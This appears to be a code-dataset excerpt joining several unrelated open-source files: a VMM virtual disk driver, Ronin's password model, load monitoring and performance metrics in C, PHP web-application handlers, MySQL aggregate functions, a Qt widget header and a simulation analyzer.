Genode::Signal signal = disk_receiver()->wait_for_signal();
Vancouver_disk_signal * disk_source =
reinterpret_cast<Vancouver_disk_signal *>(signal.context());
this->_signal_dispatch_entry(disk_source->disk_nr());
}
}
void Vancouver_disk::_signal_dispatch_entry(unsigned disknr)
{
Block::Session::Tx::Source *source = _diskcon[disknr].blk_con->tx();
while (source->ack_avail())
{
Block::Packet_descriptor packet = source->get_acked_packet();
char * source_addr = source->packet_content(packet);
/* find the corresponding MessageDisk object */
Avl_entry * obj = 0;
{
Genode::Lock::Guard lock_guard(_lookup_msg_lock);
obj = _lookup_msg.first();
if (obj)
obj = obj->find(reinterpret_cast<Genode::addr_t>(source_addr));
if (!obj) {
PWRN("Unknown MessageDisk object - drop ack of block session");
continue;
}
/* remove helper object */
_lookup_msg.remove(obj);
}
/* got the MessageDisk object */
MessageDisk * msg = obj->msg();
/* delete helper object */
destroy(&_tslab_avl, obj);
/* go ahead and tell VMM about new block event */
if (!packet.succeeded() ||
!(packet.operation() == Block::Packet_descriptor::Opcode::READ ||
packet.operation() == Block::Packet_descriptor::Opcode::WRITE)) {
PDBG("Getting block failed !");
MessageDiskCommit mdc(disknr, msg->usertag,
MessageDisk::DISK_STATUS_DEVICE);
_motherboard()->bus_diskcommit.send(mdc);
} else {
if (packet.operation() == Block::Packet_descriptor::Opcode::READ) {
unsigned long long sector = msg->sector;
sector = (sector-packet.block_number()) * _diskcon[disknr].blk_size;
for (unsigned i = 0; i < msg->dmacount; i++) {
char * dma_addr = _backing_store_base +
msg->dma[i].byteoffset + msg->physoffset;
// check for bounds
if (dma_addr >= _backing_store_base + _backing_store_size
|| dma_addr < _backing_store_base) {
PERR("dma bounds violation");
} else
memcpy(dma_addr, source_addr + sector,
msg->dma[i].bytecount);
sector += msg->dma[i].bytecount;
}
destroy(&_tslab_dma, msg->dma);
msg->dma = 0;
}
MessageDiskCommit mdc (disknr, msg->usertag, MessageDisk::DISK_OK);
_motherboard()->bus_diskcommit.send(mdc);
}
source->release_packet(packet);
destroy(&_tslab_msg, msg);
}
}
bool Vancouver_disk::receive(MessageDisk &msg)
{
static Genode::Native_utcb utcb_backup;
Vmm::Utcb_guard guard(utcb_backup);
if (msg.disknr >= MAX_DISKS)
Logging::panic("You configured more disks than supported.\n");
/*
* If we receive a message for this disk the first time, create the
* structure for it.
*/
char label[14];
Genode::snprintf(label, 14, "VirtualDisk %2u", msg.disknr);
if (!_diskcon[msg.disknr].blk_size) {
try {
Genode::Allocator_avl * block_alloc =
new Genode::Allocator_avl(disk_heap());
_diskcon[msg.disknr].blk_con =
new Block::Connection(block_alloc, 4*512*1024, label);
_diskcon[msg.disknr].dispatcher =
new Vancouver_disk_signal(*disk_receiver(), *this,
&Vancouver_disk::_signal_dispatch_entry,
msg.disknr);
_diskcon[msg.disknr].blk_con->tx_channel()->sigh_ack_avail(
*_diskcon[msg.disknr].dispatcher);
} catch (...) {
/* there is none. */
return false;
}
_diskcon[msg.disknr].blk_con->info(&_diskcon[msg.disknr].blk_cnt,
&_diskcon[msg.disknr].blk_size,
&_diskcon[msg.disknr].ops);
Logging::printf("Got info: %llu blocks (%zu B), ops (R: %x, W:%x)\n ",
_diskcon[msg.disknr].blk_cnt,
_diskcon[msg.disknr].blk_size,
_diskcon[msg.disknr].ops.supported(Block::Packet_descriptor::READ),
_diskcon[msg.disknr].ops.supported(Block::Packet_descriptor::WRITE)
);
}
msg.error = MessageDisk::DISK_OK;
switch (msg.type) {
case MessageDisk::DISK_GET_PARAMS:
{
msg.params->flags = DiskParameter::FLAG_HARDDISK;
msg.params->sectors = _diskcon[msg.disknr].blk_cnt;
msg.params->sectorsize = _diskcon[msg.disknr].blk_size;
msg.params->maxrequestcount = _diskcon[msg.disknr].blk_cnt;
memcpy(msg.params->name, label, strlen(label));
msg.params->name[strlen(label)] = 0;
}
return true;
case MessageDisk::DISK_READ:
case MessageDisk::DISK_WRITE:
{
bool write = (msg.type == MessageDisk::DISK_WRITE);
if (write && !_diskcon[msg.disknr].ops.supported(Block::Packet_descriptor::WRITE)) {
MessageDiskCommit ro(msg.disknr, msg.usertag,
MessageDisk::DISK_STATUS_DEVICE);
_motherboard()->bus_diskcommit.send(ro);
return true;
}
unsigned long long sector = msg.sector;
unsigned long total = DmaDescriptor::sum_length(msg.dmacount, msg.dma);
unsigned long blocks = total/_diskcon[msg.disknr].blk_size;
unsigned const blk_size = _diskcon[msg.disknr].blk_size;
if (blocks * blk_size < total) blocks++;
Block::Session::Tx::Source *source = _diskcon[msg.disknr].blk_con->tx();
Block::Packet_descriptor packet;
/* save original msg, required when we get acknowledgements */
MessageDisk * msg_cpy = 0;
try {
msg_cpy = new (&_tslab_msg) MessageDisk(msg);
packet = Block::Packet_descriptor(
source->alloc_packet(blocks * blk_size),
(write) ? Block::Packet_descriptor::WRITE
: Block::Packet_descriptor::READ,
sector, blocks);
} catch (...) {
if (msg_cpy)
destroy(&_tslab_msg, msg_cpy);
Logging::printf("could not allocate disk block elements\n");
return false;
}
char * source_addr = source->packet_content(packet);
{
Genode::Lock::Guard lock_guard(_lookup_msg_lock);
_lookup_msg.insert(new (&_tslab_avl) Avl_entry(source_addr,
msg_cpy));
}
/* copy DMA descriptors for read requests - they may change */
if (!write) {
msg_cpy->dma = new (&_tslab_dma) DmaDescriptor[msg_cpy->dmacount];
for (unsigned i = 0; i < msg_cpy->dmacount; i++)
memcpy(msg_cpy->dma + i, msg.dma + i, sizeof(DmaDescriptor));
}
/* for write operation */
source_addr += (sector - packet.block_number()) * blk_size;
/* check bounds for read and write operations */
for (unsigned i = 0; i < msg_cpy->dmacount; i++) {
char * dma_addr = _backing_store_base + msg_cpy->dma[i].byteoffset
+ msg_cpy->physoffset;
/* check for bounds */
if (dma_addr >= _backing_store_base + _backing_store_size
|| dma_addr < _backing_store_base) {
/* drop allocated objects not needed in error case */
if (write)
destroy(&_tslab_dma, msg_cpy->dma);
destroy(&_tslab_msg, msg_cpy);
source->release_packet(packet);
return false;
}
if (write) {
memcpy(source_addr, dma_addr, msg.dma[i].bytecount);
source_addr += msg.dma[i].bytecount;
}
}
source->submit_packet(packet);
}
break;
default:
Logging::printf("Got MessageDisk type %x\n", msg.type);
return false;
}
return true;
}
Vancouver_disk::~Vancouver_disk()
{
/* XXX: Close all connections */
}
|
ponast/genode
|
repos/ports/src/app/seoul/disk.cc
|
C++
|
gpl-2.0
| 9,203
|
#
# Copyright (c) 2006-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# This file is part of Ronin.
#
# Ronin is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ronin is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ronin. If not, see <http://www.gnu.org/licenses/>.
#
require 'ronin/model'
require 'digest'
module Ronin
#
# Represents a password that can be stored in the {Database}.
#
class Password
include Model
# Primary key of the password
property :id, Serial
# The clear-text of the password
property :clear_text, String, :length => 256,
:required => true,
:unique => true
# The credentials which use the password
has 0..n, :credentials
# The user names which use the password
has 0..n, :user_names, :through => :credentials
#
# Parses a password.
#
# @param [#to_s] password
# The password to parse.
#
# @return [Password]
# The parsed password.
#
# @since 1.4.0
#
# @api public
#
def self.parse(password)
first_or_new(:clear_text => password.to_s)
end
#
# Hashes the password.
#
# @param [Symbol, String] algorithm
# The digest algorithm to use.
#
# @param [Hash] options
# Additional options.
#
# @option options [String] :prepend_salt
# The salt data to prepend to the password.
#
# @option options [String] :append_salt
# The salt data to append to the password.
#
# @return [String]
# The hex-digest of the hashed password.
#
# @raise [ArgumentError]
# Unknown Digest algorithm.
#
# @example
# pass = Password.new(:clear_text => 'secret')
#
# pass.digest(:sha1)
# # => "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4"
#
# pass.digest(:sha1, :prepend_salt => "A\x90\x00")
# # => "e2817656a48c49f24839ccf9295b389d8f985904"
#
# pass.digest(:sha1, :append_salt => "BBBB")
# # => "aa6ca21e446d425fc044bbb26e950a788444a5b8"
#
# @since 1.0.0
#
# @api public
#
def digest(algorithm,options={})
digest_class = begin
Digest.const_get(algorithm.to_s.upcase)
rescue LoadError
raise(ArgumentError,"Unknown Digest algorithm #{algorithm}")
end
hash = digest_class.new
if options[:prepend_salt]
hash << options[:prepend_salt].to_s
end
hash << self.clear_text
if options[:append_salt]
hash << options[:append_salt].to_s
end
return hash.hexdigest
end
#
# The number of credentials which use this password.
#
# @return [Integer]
# The number of credentials that use the password.
#
# @since 1.0.0
#
# @api public
#
def count
self.credentials.count
end
#
# Converts the password into a String.
#
# @return [String]
# The clear-text of the password.
#
# @since 1.0.0
#
# @api public
#
def to_s
self.clear_text
end
#
# Inspects the password.
#
# @return [String]
# The inspected password.
#
# @since 1.0.0
#
# @api public
#
def inspect
"#<#{self.class}: #{self.clear_text}>"
end
end
end
|
firebitsbr/ronin
|
lib/ronin/password.rb
|
Ruby
|
gpl-3.0
| 3,839
|
#include "load.h"
#include <stdio.h>
#include <stdlib.h>
#include <glib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include "aux.h"
#include "log.h"
#include "main.h"
int load_average; // times 100
int cpu_usage; // percent times 100 (0 - 9999)
static long used_last, idle_last;
void load_thread(void *dummy) {
while (!rtpe_shutdown) {
if (rtpe_config.load_limit) {
double loadavg;
if (getloadavg(&loadavg, 1) >= 1)
g_atomic_int_set(&load_average, (int) (loadavg * 100.0));
else
ilog(LOG_WARN, "Failed to obtain load average: %s", strerror(errno));
}
if (rtpe_config.cpu_limit) {
FILE *f;
f = fopen("/proc/stat", "r");
if (f) {
long user_now, nice_now, system_now, idle_now;
if (fscanf(f, "cpu %li %li %li %li",
&user_now, &nice_now, &system_now, &idle_now) == 4)
{
long used_now = user_now + nice_now + system_now;
long used_secs = used_now - used_last;
long idle_secs = idle_now - idle_last;
long total_secs = used_secs + idle_secs;
if (used_last && idle_last)
g_atomic_int_set(&cpu_usage, (int) (used_secs
* 10000 / total_secs));
used_last = used_now;
idle_last = idle_now;
}
else
ilog(LOG_WARN, "Failed to obtain CPU usage");
fclose(f);
}
}
usleep(500000);
}
}
|
egreenmachine/rtpengine
|
daemon/load.c
|
C
|
gpl-3.0
| 1,317
|
/*
* OpenVPN -- An application to securely tunnel IP networks
* over a single TCP/UDP port, with support for SSL/TLS-based
* session authentication and key exchange,
* packet encryption, packet authentication, and
* packet compression.
*
* Copyright (C) 2002-2018 OpenVPN Inc <sales@openvpn.net>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#elif defined(_MSC_VER)
#include "config-msvc.h"
#endif
#include "syshead.h"
#include "perf.h"
#ifdef ENABLE_PERFORMANCE_METRICS
#include "error.h"
#include "otime.h"
#include "memdbg.h"
static const char *metric_names[] = {
"PERF_BIO_READ_PLAINTEXT",
"PERF_BIO_WRITE_PLAINTEXT",
"PERF_BIO_READ_CIPHERTEXT",
"PERF_BIO_WRITE_CIPHERTEXT",
"PERF_TLS_MULTI_PROCESS",
"PERF_IO_WAIT",
"PERF_EVENT_LOOP",
"PERF_MULTI_CREATE_INSTANCE",
"PERF_MULTI_CLOSE_INSTANCE",
"PERF_MULTI_SHOW_STATS",
"PERF_MULTI_BCAST",
"PERF_MULTI_MCAST",
"PERF_SCRIPT",
"PERF_READ_IN_LINK",
"PERF_PROC_IN_LINK",
"PERF_READ_IN_TUN",
"PERF_PROC_IN_TUN",
"PERF_PROC_OUT_LINK",
"PERF_PROC_OUT_TUN",
"PERF_PROC_OUT_TUN_MTCP"
};
struct perf
{
#define PS_INITIAL 0
#define PS_METER_RUNNING 1
#define PS_METER_INTERRUPTED 2
int state;
struct timeval start;
double sofar;
double sum;
double max;
double count;
};
struct perf_set
{
int stack_len;
int stack[STACK_N];
struct perf perf[PERF_N];
};
static struct perf_set perf_set;
static void perf_print_state(int lev);
static inline int
get_stack_index(int sdelta)
{
const int sindex = perf_set.stack_len + sdelta;
if (sindex >= 0 && sindex < STACK_N)
{
return sindex;
}
else
{
return -1;
}
}
static int
get_perf_index(int sdelta)
{
const int sindex = get_stack_index(sdelta);
if (sindex >= 0)
{
const int pindex = perf_set.stack[sindex];
if (pindex >= 0 && pindex < PERF_N)
{
return pindex;
}
else
{
return -1;
}
}
else
{
return -1;
}
}
static struct perf *
get_perf(int sdelta)
{
const int pindex = get_perf_index(sdelta);
if (pindex >= 0)
{
return &perf_set.perf[pindex];
}
else
{
return NULL;
}
}
static void
push_perf_index(int pindex)
{
const int sindex = get_stack_index(0);
const int newlen = get_stack_index(1);
if (sindex >= 0 && newlen >= 0
&& pindex >= 0 && pindex < PERF_N)
{
int i;
for (i = 0; i < sindex; ++i)
{
if (perf_set.stack[i] == pindex)
{
perf_print_state(M_INFO);
msg(M_FATAL, "PERF: push_perf_index %s failed",
metric_names [pindex]);
}
}
perf_set.stack[sindex] = pindex;
perf_set.stack_len = newlen;
}
else
{
msg(M_FATAL, "PERF: push_perf_index: stack push error");
}
}
static void
pop_perf_index(void)
{
const int newlen = get_stack_index(-1);
if (newlen >= 0)
{
perf_set.stack_len = newlen;
}
else
{
msg(M_FATAL, "PERF: pop_perf_index: stack pop error");
}
}
static void
state_must_be(const struct perf *p, const int wanted)
{
if (p->state != wanted)
{
msg(M_FATAL, "PERF: bad state actual=%d wanted=%d",
p->state,
wanted);
}
}
static void
update_sofar(struct perf *p)
{
struct timeval current;
ASSERT(!gettimeofday(¤t, NULL));
p->sofar += (double) tv_subtract(¤t, &p->start, 600) / 1000000.0;
tv_clear(&p->start);
}
static void
perf_start(struct perf *p)
{
state_must_be(p, PS_INITIAL);
ASSERT(!gettimeofday(&p->start, NULL));
p->sofar = 0.0;
p->state = PS_METER_RUNNING;
}
static void
perf_stop(struct perf *p)
{
state_must_be(p, PS_METER_RUNNING);
update_sofar(p);
p->sum += p->sofar;
if (p->sofar > p->max)
{
p->max = p->sofar;
}
p->count += 1.0;
p->sofar = 0.0;
p->state = PS_INITIAL;
}
static void
perf_interrupt(struct perf *p)
{
state_must_be(p, PS_METER_RUNNING);
update_sofar(p);
p->state = PS_METER_INTERRUPTED;
}
static void
perf_resume(struct perf *p)
{
state_must_be(p, PS_METER_INTERRUPTED);
ASSERT(!gettimeofday(&p->start, NULL));
p->state = PS_METER_RUNNING;
}
void
perf_push(int type)
{
struct perf *prev;
struct perf *cur;
ASSERT(SIZE(metric_names) == PERF_N);
push_perf_index(type);
prev = get_perf(-2);
cur = get_perf(-1);
ASSERT(cur);
if (prev)
{
perf_interrupt(prev);
}
perf_start(cur);
}
void
perf_pop(void)
{
struct perf *prev;
struct perf *cur;
prev = get_perf(-2);
cur = get_perf(-1);
ASSERT(cur);
perf_stop(cur);
if (prev)
{
perf_resume(prev);
}
pop_perf_index();
}
void
perf_output_results(void)
{
int i;
msg(M_INFO, "LATENCY PROFILE (mean and max are in milliseconds)");
for (i = 0; i < PERF_N; ++i)
{
struct perf *p = &perf_set.perf[i];
if (p->count > 0.0)
{
const double mean = p->sum / p->count;
msg(M_INFO, "%s n=%.0f mean=%.3f max=%.3f", metric_names[i], p->count, mean*1000.0, p->max*1000.0);
}
}
}
static void
perf_print_state(int lev)
{
struct gc_arena gc = gc_new();
int i;
msg(lev, "PERF STATE");
msg(lev, "Stack:");
for (i = 0; i < perf_set.stack_len; ++i)
{
const int j = perf_set.stack[i];
const struct perf *p = &perf_set.perf[j];
msg(lev, "[%d] %s state=%d start=%s sofar=%f sum=%f max=%f count=%f",
i,
metric_names[j],
p->state,
tv_string(&p->start, &gc),
p->sofar,
p->sum,
p->max,
p->count);
}
gc_free(&gc);
}
#else /* ifdef ENABLE_PERFORMANCE_METRICS */
#ifdef _MSC_VER /* Dummy function needed to avoid empty file compiler warning in Microsoft VC */
static void
dummy(void)
{
}
#endif
#endif /* ifdef ENABLE_PERFORMANCE_METRICS */
|
anoidgit/padavan
|
trunk/user/openvpn/openvpn-2.4.x/src/openvpn/perf.c
|
C
|
gpl-3.0
| 6,865
|
<?php
require_once(ROOT_DIR.'/lib/core/ObjectList.class.php');
require_once(ROOT_DIR.'/lib/core/Networkinterface.class.php');
require_once(ROOT_DIR.'/lib/core/crawling.class.php');
class Networkinterfacelist extends ObjectList {
private $networkinterfacelist = array();
public function __construct($status_id=false, $router_id=false, $offset=false, $limit=false, $sort_by=false, $order=false) {
$result = array();
if($offset!==false)
$this->setOffset((int)$offset);
if($limit!==false)
$this->setLimit((int)$limit);
if($sort_by!==false)
$this->setSortBy($sort_by);
if($order!==false)
$this->SetOrder($order);
// initialize $total_count with the total number of objects in the list (over all pages)
try {
$stmt = DB::getInstance()->prepare("SELECT COUNT(*) as total_count
FROM interfaces
WHERE
(interfaces.router_id = :router_id OR :router_id=0)");
$stmt->bindParam(':router_id', $router_id, PDO::PARAM_INT);
$stmt->execute();
$total_count = $stmt->fetch(PDO::FETCH_ASSOC);
} catch(PDOException $e) {
echo $e->getMessage();
echo $e->getTraceAsString();
}
$this->setTotalCount((int)$total_count['total_count']);
//if limit -1 then get all ressource records
if($this->getLimit()==-1)
$this->setLimit($this->getTotalCount());
try {
$stmt = DB::getInstance()->prepare("SELECT i.id as i_id, i.router_id as i_router_id, i.name as i_name,
i.create_date as i_create_date, i.update_date as i_update_date,
ci.id as ci_id, ci.router_id as ci_router_id, ci.crawl_cycle_id as ci_crawl_cycle_id,
ci.interface_id ci_interface_id, ci.crawl_date as ci_crawl_date, ci.name as ci_name,
ci.mac_addr as ci_mac_addr, ci.traffic_rx ci_traffic_rx, ci.traffic_rx_avg ci_traffic_rx_avg,
ci.traffic_tx ci_traffic_tx, ci.traffic_tx_avg ci_traffic_tx_avg, ci.wlan_mode ci_wlan_mode,
ci.wlan_frequency ci_wlan_frequency, ci.wlan_essid ci_wlan_essid, ci.wlan_bssid ci_wlan_bssid,
ci.wlan_tx_power ci_wlan_tx_power, ci.mtu ci_mtu
FROM interfaces i, crawl_interfaces ci
WHERE
(i.router_id = :router_id OR :router_id=0) AND
ci.interface_id = i.id AND
ci.crawl_cycle_id = :status_id
ORDER BY
case :sort_by
when 'name' then i.name
else NULL
end
".$this->getOrder()."
LIMIT :offset, :limit");
$stmt->bindParam(':status_id', ($status_id) ? $status_id : (int)crawling::getLastEndedCrawlCycle()['id'], PDO::PARAM_INT);
$stmt->bindParam(':router_id', $router_id, PDO::PARAM_INT);
$stmt->bindParam(':offset', $this->getOffset(), PDO::PARAM_INT);
$stmt->bindParam(':limit', $this->getLimit(), PDO::PARAM_INT);
$stmt->bindParam(':sort_by', $this->getSortBy(), PDO::PARAM_STR);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch(PDOException $e) {
echo $e->getMessage();
echo $e->getTraceAsString();
}
foreach($result as $networkinterface) {
$new_networkinterface = new Networkinterface((int)$networkinterface['i_id'], (int)$networkinterface['i_router_id'],
$networkinterface['i_name'],
$networkinterface['i_create_date'], $networkinterface['i_update_date']);
$new_networkinterface->setStatusdata(new NetworkinterfaceStatus((int)$networkinterface['ci_id'],
(int)$networkinterface['ci_crawl_cycle_id'],
(int)$networkinterface['ci_interface_id'],
(int)$networkinterface['ci_router_id'],
$networkinterface['ci_name'],
$networkinterface['ci_mac_addr'],
(int)$networkinterface['ci_mtu'],
(int)$networkinterface['ci_traffic_rx'],
(int)$networkinterface['ci_traffic_rx_avg'],
(int)$networkinterface['ci_traffic_tx'],
(int)$networkinterface['ci_traffic_tx_avg'],
$networkinterface['ci_wlan_mode'],
$networkinterface['ci_wlan_frequency'],
$networkinterface['ci_wlan_essid'],
$networkinterface['ci_wlan_bssid'],
(int)$networkinterface['ci_wlan_tx_power'],
$networkinterface['ci_crawl_date']));
$this->networkinterfacelist[] = $new_networkinterface;
}
}
public function delete() {
foreach($this->getNetworkinterfacelist() as $networkinterface) {
$networkinterface->delete();
}
}
public function setNetworkinterfacelist($networkinterfacelist) {
if(is_array($networkinterfacelist)) {
$this->networkinterfacelist = $networkinterfacelist;
}
}
public function getNetworkinterfacelist() {
return $this->networkinterfacelist;
}
public function sort($sort, $order) {
$tmp = array();
$networkinterfacelist = $this->getNetworkinterfacelist();
foreach($networkinterfacelist as $key=>$event) {
switch($sort) {
case 'create_date': $tmp[$key] = $event->getCreateDate();
break;
case 'name': $tmp[$key] = $event->getName();
break;
default: $tmp[$key] = $event->getCreateDate();
break;
}
}
if($order == 'asc')
array_multisort($tmp, SORT_ASC, $networkinterfacelist);
elseif($order == 'desc')
array_multisort($tmp, SORT_DESC, $networkinterfacelist);
$new_eventlist = array();
for($i=0; $i<count($networkinterfacelist); $i++) {
if(!empty($networkinterfacelist[$i])) {
$new_eventlist[] = $networkinterfacelist[$i];
}
}
$this->setNetworkinterfacelist($new_eventlist);
}
public function getDomXMLElement($domdocument) {
$domxmlelement = $domdocument->createElement('networkinterfacelist');
$domxmlelement->setAttribute("total_count", $this->getTotalCount());
$domxmlelement->setAttribute("offset", $this->getOffset());
$domxmlelement->setAttribute("limit", $this->getLimit());
foreach($this->networkinterfacelist as $networkinterface) {
$domxmlelement->appendChild($networkinterface->getDomXMLElement($domdocument));
}
return $domxmlelement;
}
}
?>
|
wrosenauer/netmon
|
lib/core/Networkinterfacelist.class.php
|
PHP
|
gpl-3.0
| 6,357
|
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
use Gibbon\Module\Reports\Domain\ReportingCriteriaGateway;
require_once '../../gibbon.php';
$gibbonReportingCriteriaID = $_GET['gibbonReportingCriteriaID'] ?? '';
$urlParams = [
'gibbonReportingScopeID' => $_POST['gibbonReportingScopeID'] ?? '',
'gibbonReportingCycleID' => $_POST['gibbonReportingCycleID'] ?? '',
'gibbonYearGroupID' => $_POST['gibbonYearGroupID'] ?? null,
'gibbonFormGroupID' => $_POST['gibbonFormGroupID'] ?? null,
'gibbonCourseID' => $_POST['gibbonCourseID'] ?? null,
];
$URL = $gibbon->session->get('absoluteURL').'/index.php?q=/modules/Reports/reporting_criteria_manage.php&'.http_build_query($urlParams);
if (isActionAccessible($guid, $connection2, '/modules/Reports/reporting_criteria_manage_delete.php') == false) {
$URL .= '&return=error0';
header("Location: {$URL}");
exit;
} elseif (empty($gibbonReportingCriteriaID) || empty($urlParams['gibbonReportingScopeID']) || empty($urlParams['gibbonReportingCycleID'])) {
$URL .= '&return=error1';
header("Location: {$URL}");
exit;
} else {
// Proceed!
$partialFail = false;
$detach = $_POST['detach'] ?? null;
$reportingCriteriaGateway = $container->get(ReportingCriteriaGateway::class);
$values = $reportingCriteriaGateway->getByID($gibbonReportingCriteriaID);
if (empty($values)) {
$URL .= '&return=error2';
header("Location: {$URL}");
exit;
}
// Delete the record (or grouped records). Optionally detach and delete only one record.
if (!empty($values['groupID']) && $detach != 'Y') {
$deleted = $reportingCriteriaGateway->deleteWhere(['gibbonReportingCycleID' => $urlParams['gibbonReportingCycleID'], 'groupID' => $values['groupID']]);
} else {
$deleted = $reportingCriteriaGateway->delete($gibbonReportingCriteriaID);
}
$partialFail &= !$deleted;
$URL .= $partialFail
? '&return=warning1'
: '&return=success0';
header("Location: {$URL}");
}
|
GibbonEdu/core
|
modules/Reports/reporting_criteria_manage_deleteProcess.php
|
PHP
|
gpl-3.0
| 2,680
|
delimiter ;;
drop function if exists jsum;
create function jsum(v_values longtext)
returns decimal(65,5)
deterministic
begin
declare v_cur int;
declare v_end int;
declare v_sum decimal(65,5);
declare v_char char(1);
declare v_str longtext default '';
set v_cur := 1;
set v_end := LENGTH(v_values);
set v_sum := 0;
theloop:LOOP
set v_char := substr(v_values, v_cur, 1);
if(v_char = '\n')
then
set v_sum := v_sum + cast(v_str as decimal(65,5));
set v_str := "";
else
set v_str := concat(v_str, v_char);
end if;
set v_cur := v_cur + 1;
if v_cur > v_end
then
leave theloop;
end if;
end loop;
return v_sum;
end;;
drop function if exists jmin;
create function jmin(v_values longtext)
returns decimal(65,5)
deterministic
begin
declare v_cur int;
declare v_end int;
declare v_min decimal(65,5);
declare v_char char(1);
declare v_str longtext default '';
set v_cur := 1;
set v_end := LENGTH(v_values);
set v_min := 999999999999999;
theloop:LOOP
set v_char := substr(v_values, v_cur, 1);
if(v_char = '\n')
then
if(cast(v_str as decimal(65,5)) < v_min)
then
set v_min := cast(v_str as decimal(65,5));
set v_str := "";
end if;
else
set v_str = concat(v_str, v_char);
end if;
set v_cur := v_cur + 1;
if v_cur > v_end
then
leave theloop;
end if;
end loop;
return v_min;
end;;
drop function if exists jmax;
create function jmax(v_values longtext)
returns decimal(65,5)
deterministic
begin
declare v_cur int;
declare v_end int;
declare v_max decimal(65,5);
declare v_char char(1);
declare v_str longtext default '';
set v_cur := 1;
set v_end := LENGTH(v_values);
set v_max := -999999999999999;
theloop:LOOP
set v_char := substr(v_values, v_cur, 1);
if(v_char = '\n')
then
if(cast(v_str as decimal(65,5)) > v_max)
then
set v_max := cast(v_str as decimal(65,5));
set v_str := "";
end if;
else
set v_str = concat(v_str, v_char);
end if;
set v_cur := v_cur + 1;
if v_cur > v_end
then
leave theloop;
end if;
end loop;
return v_max;
end;;
drop function if exists jcount;
create function jcount(v_values longtext)
returns bigint
deterministic
begin
declare v_cur int;
declare v_end int;
declare v_cnt bigint;
declare v_char char(1);
declare v_str longtext default '';
set v_cur := 1;
set v_end := LENGTH(v_values);
set v_cnt := 0;
theloop:LOOP
set v_char := substr(v_values, v_cur, 1);
if(v_char = '\n')
then
set v_cnt := v_cnt + 1;
set v_str := "";
else
set v_str = concat(v_str, v_char);
end if;
set v_cur := v_cur + 1;
if v_cur > v_end
then
leave theloop;
end if;
end loop;
return v_cnt;
end;;
drop function if exists javg;
create function javg(v_values longtext)
returns decimal(65,5)
deterministic
begin
declare v_cur int;
declare v_end int;
declare v_sum decimal(65,5);
declare v_cnt bigint default 0;
declare v_char char(1);
declare v_str longtext default '';
set v_cur := 1;
set v_end := LENGTH(v_values);
set v_sum := 0;
theloop:LOOP
set v_char := substr(v_values, v_cur, 1);
if(v_char = '\n')
then
set v_cnt := v_cnt + 1;
set v_sum := v_sum + cast(v_str as decimal(65,5));
set v_str := "";
else
set v_str := concat(v_str, v_char);
end if;
set v_cur := v_cur + 1;
if v_cur > v_end
then
leave theloop;
end if;
end loop;
return v_sum/v_cnt;
end;;
delimiter ;
|
ixiom/swanhart-tools
|
udf/rapidjson/routines.sql
|
SQL
|
gpl-3.0
| 3,637
|
#pragma once
#include "../../Shared.h"
#include "ui_InspectorAtemAudioInputBalanceWidget.h"
#include "AtemDevice.h"
#include "Events/Atem/AtemDeviceChangedEvent.h"
#include "Commands/Atem/AtemAudioInputBalanceCommand.h"
#include "Events/Rundown/RundownItemSelectedEvent.h"
#include "Models/LibraryModel.h"
#include "qatemtypes.h"
#include <QtCore/QEvent>
#include <QtCore/QObject>
#include <QtWidgets/QWidget>
class WIDGETS_EXPORT InspectorAtemAudioInputBalanceWidget : public QWidget, Ui::InspectorAtemAudioInputBalanceWidget
{
Q_OBJECT
public:
explicit InspectorAtemAudioInputBalanceWidget(QWidget* parent = 0);
private:
LibraryModel* model;
AtemAudioInputBalanceCommand* command;
QMap<quint16, QAtem::InputInfo> inputs;
void checkEmptyInput();
void blockAllSignals(bool block);
void loadAtemAudioInput();
Q_SLOT void inputChanged(int);
Q_SLOT void sliderBalanceChanged(int);
Q_SLOT void doubleSpinBoxBalanceChanged(double);
Q_SLOT void triggerOnNextChanged(int);
Q_SLOT void rundownItemSelected(const RundownItemSelectedEvent&);
Q_SLOT void atemDeviceChanged(const AtemDeviceChangedEvent&);
};
|
mimiyang/Client
|
src/Widgets/Inspector/Atem/InspectorAtemAudioInputBalanceWidget.h
|
C
|
gpl-3.0
| 1,266
|
/*
* Simpatico - Simulation Package for Polymeric and Molecular Liquids
*
* Copyright 2010 - 2014, The Regents of the University of Minnesota
* Distributed under the terms of the GNU General Public License.
*/
#include "VirialStressTensorAverage.h"
//#include <util/misc/FileMaster.h>
#include <util/misc/ioUtil.h>
#include <util/format/Int.h>
#include <util/format/Dbl.h>
#include <sstream>
namespace DdMd
{
using namespace Util;
/*
* Constructor.
*/
VirialStressTensorAverage::VirialStressTensorAverage(Simulation& simulation)
: Analyzer(simulation),
sxxAccumulator_(),
sxyAccumulator_(),
sxzAccumulator_(),
syxAccumulator_(),
syyAccumulator_(),
syzAccumulator_(),
szxAccumulator_(),
szyAccumulator_(),
szzAccumulator_(),
nSamplePerBlock_(1),
isInitialized_(false)
{ setClassName("VirialStressTensorAverage"); }
/*
* Read interval and outputFileName.
*/
void VirialStressTensorAverage::readParameters(std::istream& in)
{
readInterval(in);
readOutputFileName(in);
read<int>(in,"nSamplePerBlock", nSamplePerBlock_);
